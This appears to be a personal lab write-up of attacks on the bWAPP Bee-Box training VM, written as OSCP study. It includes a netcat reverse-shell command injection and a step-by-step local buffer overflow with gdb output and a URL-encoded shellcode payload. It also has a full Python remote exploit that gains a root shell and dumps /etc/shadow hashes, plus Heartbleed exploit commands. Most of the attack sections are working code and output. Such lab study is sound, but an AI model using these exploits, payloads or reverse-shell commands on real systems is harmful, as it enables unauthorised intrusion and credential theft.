beebox


Last updated: Fri 21 Nov 2014 10:54:50

This document is an attempt to document some of the ways to attack the Bee-Box, the VM containing the famous collection of web app vulnerabilities known as bWAPP. I'm mainly trying to learn more about OWASP to complement my studies for the OSCP certification. The guide below assumes you're familiar with Kali linux as the attacking platform and common security apps such as Metasploit, nmap et al.

Let's start with OWASP's A9 section first (A1-A8 coming soon):

(FTI = Follow The Instructions, as given on the beebox webpage)

A9 - Known application vulnerabilities

Buffer Overflow (Local)

Let's first have a peek at the background of this bug first. Here is the line in bof_1.php that calls the vulnerable app:

if(isset($_POST["title"]))
{
    $title = $_POST["title"];
    $title = commandi($title);
    if($title == "")
       {
           echo "<p><font color=\"red\">Please enter a title...</font></p>";
       }
       else
       {
           echo shell_exec("./apps/movie_search " . $title);
       }
   }

From this we see that the title is given straight as a commandline argument to the app.

Getting a shell the easy way: Because of the way the app filters commands, on the low security settings you could simply type

$(nc -e /bin/bash 10.0.5.2 4444)

in the search box and it will connect a shell straight to your trusty local nc listener. Very lame obviously and this doesn't work on medium or high security as the title then gets filtered through the commandi() function which formats it then according to php's escapeshellcmd() which properly takes care of our insidious search string.

Getting a shell the hard way: That's accomplished by looking at the hint: "HINT: \x90*354 + \x8f\x92\x04\x08 + [payload]"

Let's analyse this app a bit further from the commandline and see if we can get to the background of this hint. First let's make the app crash by giving it a string from Metasploit's pattern_create.rb:

# /usr/share/metasploit-framework/tools/pattern_create.rb 360
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9
root@bee-box:/var/www/bWAPP/apps# gdb --args ./movie_search "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2A"
GNU gdb 6.8-debian
Copyright (C) 2008 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i486-linux-gnu"...
(gdb) run
Starting program: /var/www/bWAPP/apps/movie_search Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2A
[Thread debugging using libthread_db enabled]
[New Thread 0xb7b0c6c0 (LWP 15223)]

Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread 0xb7b0c6c0 (LWP 15223)]
0x41386c41 in ?? ()
(gdb) info registers 
eax            0x0      0
ecx            0xbffff0ca       -1073745718
edx            0x191    401
ebx            0xb7ccfff4       -1211301900
esp            0xbffff230       0xbffff230
ebp            0x376c4136       0x376c4136
esi            0xb7ffece0       -1207964448
edi            0x0      0
eip            0x41386c41       0x41386c41
eflags         0x10246  [ PF ZF IF RF ]
cs             0x73     115
ss             0x7b     123
ds             0x7b     123
es             0x7b     123
fs             0x0      0
gs             0x33     51

It looks like the eip register got overwritten with our string, let's check:

# /usr/share/metasploit-framework/tools/pattern_offset.rb 0x41386c41
[*] Exact match at offset 354

Yup it did indeed. Now looking at the other registers, let's see if any of them contain other bits of the special string. The esp looks promising, let's check:

(gdb) x/100cb $esp
0xbffff230:     108 'l' 57 '9'  65 'A'  109 'm' 48 '0'  65 'A'  109 'm' 49 '1'
0xbffff238:     65 'A'  109 'm' 50 '2'  65 'A'  109 'm' 51 '3'  65 'A'  109 'm'
0xbffff240:     52 '4'  65 'A'  109 'm' 53 '5'  65 'A'  109 'm' 54 '6'  65 'A'
0xbffff248:     109 'm' 55 '7'  65 'A'  109 'm' 56 '8'  65 'A'  109 'm' 57 '9'
0xbffff250:     65 'A'  110 'n' 48 '0'  65 'A'  110 'n' 49 '1'  65 'A'  110 'n'
0xbffff258:     50 '2'  65 'A'  0 '\0'  -73 '�' 39 '\ 0 '\0'  0 '\0'  0 '\0'''
0xbffff260:     0 '\0'  -48 '�' -74 '�' -73 '�' 0 '\0'  0 '\0'  0 '\0'  0 '\0'
0xbffff268:     0 '\0'  0 '\0'  0 '\0'  0 '\0'  0 '\0'  0 '\0'  0 '\0'  0 '\0'
0xbffff270:     48 '0'  29 '\035'       5 '\005'        8 '\b'  48 '0'  -3 '�'  4 '\004'        8 '\b'
0xbffff278:     48 '0'  -3 '�'  4 '\004'        8 '\b'  5 '\005'        0 '\0'  0 '\0'  0 '\0'
0xbffff280:     0 '\0'  32 ' '  0 '\0'  0 '\0'  0 '\0'  0 '\0'  0 '\0'  64 '@'
0xbffff288:     1 '\001'        0 '\0'  0 '\0'  0 '\0'  0 '\0'  0 '\0'  0 '\0'  0 '\0'
0xbffff290:     -128 '\200'     51 '3'  -31 '�' 1 '\001'
(gdb)

# /usr/share/metasploit-framework/tools/pattern_offset.rb l9Am
[*] Exact match at offset 358

It is indeed filled with the rest of our string that came after the bit that landed in the eip register. That means if we can get the eip filled with an instruction that jumps to the address contained in the esp register, we just need to append our payload after said jump instruction. The instruction we're looking for is a jmp *%esp. Let's see if the binary contains one:

root@bee-box:/var/www/bWAPP/apps# objdump -D ./movie_search | grep jmp.*esp
804928f:       ff e4                   jmp    *%esp

Sure enough, that's the address that the hint gives us. We will point the eip register to this address, which in turn jumps to the payload located after the eip address in our special string, thereby said payload, just like the hint suggested ;-) Now we can attack!

My rookie-ness in the infosec field shows as it took me a long time to figure out why standard metasploit payloads weren't working. Here are a number of issues I ran into:

  1. Since the app runs as the webserver user (www-data) the most interesting data won't be accessible straight away.
  2. Using plain payloads won't work, the payload is given in a string as an argument to the app, so any \x00 byte terminates and render useless the remainder of the payload string, hence the need for encoding to remove all \x00 bytes.
  3. For the payload linux/x86/read_file payload, the standard shikata_ga_nai or any other encoder for that matter made the app SIGSEGV even though the payloads runs fine in C templates (TODO: link to C template shellcode checker script?). It took me going down a detour using xor encoded shellcode produced by Shellforge (an awesome program!) to figure this out.
  4. For the linux/x86/exec with CMD=/bin/ps (for testing purposes), I finally found that the opt_sub encoder doesn't make the app crash and executes the payload as expected. I.e. in msfconole: "use linux/x86/exec", "set CMD /bin/ps", "generate -b '\x00' -e x86/opt_sub -t bash"
  5. Due to php layers and shell layers of interpretation, through trial and error I finally found one way of uploading the payload is through using the ZAP proxy, replacing the title variable with the binary payload, enclosed in single quotes, (hex 27) all urlencoded like so:

title=%27%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%8F%92%04%08%54%58%2D%05%FD%FD%FD%2D%01%01%01%01%2D%01%01%01%01%50%5C%25%01%01%01%01%25%02%02%02%02%2D%75%1C%30%7D%2D%01%01%01%01%2D%01%01%01%01%50%2D%14%DF%74%2B%2D%01%01%01%01%2D%01%01%01%01%50%2D%08%90%25%E1%2D%01%01%01%01%2D%01%01%01%01%50%2D%67%6C%FE%0B%2D%01%01%01%01%2D%01%01%01%01%50%2D%AC%15%24%60%2D%01%01%01%01%2D%01%01%01%01%50%2D%E7%77%7D%1A%2D%01%01%01%01%2D%01%01%01%01%50%2D%67%04%58%7F%2D%01%01%01%01%2D%01%01%01%01%50%2D%96%36%BA%F7%2D%01%01%01%01%2D%01%01%01%01%50%2D%39%CA%E7%7E%2D%01%01%01%01%2D%01%01%01%01%50%2D%92%0E%21%7D%2D%01%01%01%01%2D%01%01%01%01%50%2D%07%E6%58%0E%2D%01%01%01%01%2D%01%01%01%01%50%27&action=search

You could generate this by doing:

msf payload(exec) > generate -b '\x00' -e x86/opt_sub  -t raw -f /tmp/payload.txt

# { echo -n \'; cat /tmp/payload.txt; echo -n \'; } | perl -pe's/(.)/sprintf("%%%02X", ord($1))/seg'

When we modify the request in ZAP and let it submit, behold the result in our browser:


Here we see the output of the /bin/ps command that's encoded to run in the payload displayed on the page. That means our payload is finally working! Using the reverse shell payload and with the opt_sub encoder once again, I managed to get a shell connected:

# nc -v -l -q 0 -p 4444
listening on [any] 4444 ...
connect to [10.0.5.2] from beebox [10.0.5.100] 37429
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
ls -la
total 1588
drwxrwxr-x 13 root www-data 12288 Nov 18 03:02 .
drwxrwxr-x  6 root www-data  4096 Nov 15 22:51 ..
-rw-r--r--  1 root root     20480 Nov 18 03:02 .bof_1.php.swp
-rw-rw-r--  1 root www-data   112 Nov 15 22:51 666
drwxrwxr-x  2 root www-data  4096 Nov 15 22:51 admin
-rw-rw-r--  1 root www-data  2093 Nov 15 22:51 aim.php
...

I guess we can sum this all up by noting that this exploit comes under the header of "Known application vulnerablities" i.e. someone else should have already done all this hard work and made a ready to use metasploit module for this vulnerability. (TODO: if I'm ever bored)

TODO 2: Figure out if user www-data can actually do anything useful with this shell

Buffer Overflow (Remote)

This sounds fun as the hint promises we can get r00t! W00t! (lame, I know.)

Let's find this "specific bWAPP network service" shall we? Here's some output of an nmap scan I ran earlier:

# Nmap 6.47 scan initiated Tue Nov 11 16:53:13 2014 as: nmap -vv -Pn -A -sC -sS -T 4 -oA /root/recon//beebox/nmap.tcp_quick beebox
Nmap scan report for beebox (10.0.5.100)
Host is up (0.0011s latency).
Scanned at 2014-11-11 16:53:14 GMT for 140s
Not shown: 983 closed ports
PORT     STATE SERVICE     VERSION
21/tcp   open  ftp         ProFTPD 1.3.1
...
514/tcp  open  shell?
666/tcp  open  doom?
3306/tcp open  mysql       MySQL 5.0.96-0ubuntu3
...

Hmm, most other services are on well known port numbers, but what is this strange port 666? Let's have a look:

# telnet beebox 666
Trying 10.0.5.100...
Connected to beebox.
Escape character is '^]'.
iron
*** bWAPP Movie Service ***
Matching movies: 1
Iron Man:2008:Tony Stark:action:tt0371746
Connection closed by foreign host.

I typed the word "iron", pressed enter and sure enough, there's our familiar movie service. It doesn't even seem to work properly, judging by the movies table in the bWAPP mysql database, as using the word "the" gives 0 movies even though several start with that word, but hey, we don't care about movies, only about root shells, right? Let's use the same reverse shell payload encoded by opt_sub as we used before, since we know it should (hopefully) work here as well. This is the script I use:

#!/usr/bin/python
import socket

shellcode = (
"\x54\x58\x2d\x8d\xfc\xfd\xfd\x2d\x01\x01\x01\x01\x2d\x01"
...
"\x01\x2d\x01\x01\x01\x01\x50"
)

# HINT: \x90*354 + \xa7\x8f\x04\x08 + [payload] (remote)
ret = "\xa7\x8f\x04\x08" 
buffer = '\x90' * 354 + ret + shellcode + "\r\n"

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print "\nSending evil buffer..."
s.connect(('10.0.5.100',666))
#s.connect(('10.0.5.100',512))
s.send(buffer)
data = s.recv(1024)
s.close()

There's no need for the single quotes here as this process runs directly on the port, without layers of php and shell to reinterpret out precious strings. Upon running this script, let's see what happens to our listening netcat:

# nc -v -l -q 0 -p 4444
listening on [any] 4444 ...
connect to [10.0.5.2] from beebox [10.0.5.100] 47140
id
uid=0(root) gid=0(root)
cat /etc/shadow
root:$1$6.aigTP1$FC1TuoITEYSQwRV0hi6gj/:15792:0:99999:7:::
daemon:*:13991:0:99999:7:::
bin:*:13991:0:99999:7:::
...

And that's a wrap folks, as a root shell has been gained.

Heartbleed

FTI, as for an alternative exploit:
On Kali:

gcc  ./32791.c -o ./hb   -Wl,-Bstatic -lssl -Wl,-Bdynamic -lssl3 -lcrypto
./hb -s 10.0.5.100 -p 8443 -f test.txt -t 2048

And see perhaps interesting stuff in test.txt! Here's what I found in mine:

# strings test.txt
goKdD=
(SK{
heets/stylesheet.css
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
Cache-Control: no-cache
ug=submit<a
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB&action=search
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB&action=searchv
D<go
l=0; PHPSESSID=cc6682f294d75910df3f47376f0762ee
DNT: 1
Connection: keep-alive
If-Modified-Since: Sat, 15 Nov 2014 21:51:20 GMT
If-None-Match: "5467cad8-c80"
Host: beebox:8443

Boring right? Some http headers and some long test strings I had submitted earlier. I guess you need a bit of luck to find something useful like login credentials with this exploit.

That's it for now, I'll be adding more beebox exploits as I find them and will update this page accordingly.

Copyright (c) 2014-2015 Erik Taal <[email protected]>